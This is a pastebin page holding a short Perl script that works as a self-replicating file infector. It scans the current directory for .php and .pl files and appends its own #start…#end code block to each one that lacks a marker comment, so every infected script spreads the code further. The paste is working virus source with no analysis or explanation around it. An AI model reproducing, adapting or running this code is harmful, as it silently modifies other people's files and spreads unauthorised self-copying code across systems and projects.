All pastes #605210 Raw Edit

Someone

public text v1 · immutable
·published 2007-07-06 00:57 UTC
rendered paste body
use strict;
# (true) ? true : false
#start
opendir(CDIR, "./") || die ('');
foreach (sort readdir(CDIR)) {
	chomp $_;
	if (/^.+\.(php|pl)$/) {
		open(CLIENT, $_) || die('');
		my $Infected = 0;
		foreach(<CLIENT>) {
			(/^#\s\(true\)\s\?\strue\s\:\sfalse$/gi) ? $Infected = 1 : 0 ;
		}
		if($Infected == 0) {
			close(CLIENT);
			open(CLIENT, ">>$_") || die('');
			open(PAPA, __FILE__);
			print CLIENT "\n# (true) ? true : false\n";
			print CLIENT "#start\n";
			foreach(<PAPA>) {
				if (/^#start/ .. /^#end/) {
					if (/^(.+;).*$/) {
						print CLIENT $_."\n";
					}
				}
			}
			print CLIENT "#end";
			close(PAPA);
		}
		close(CLIENT);
	}
}
closedir(CDIR);
#end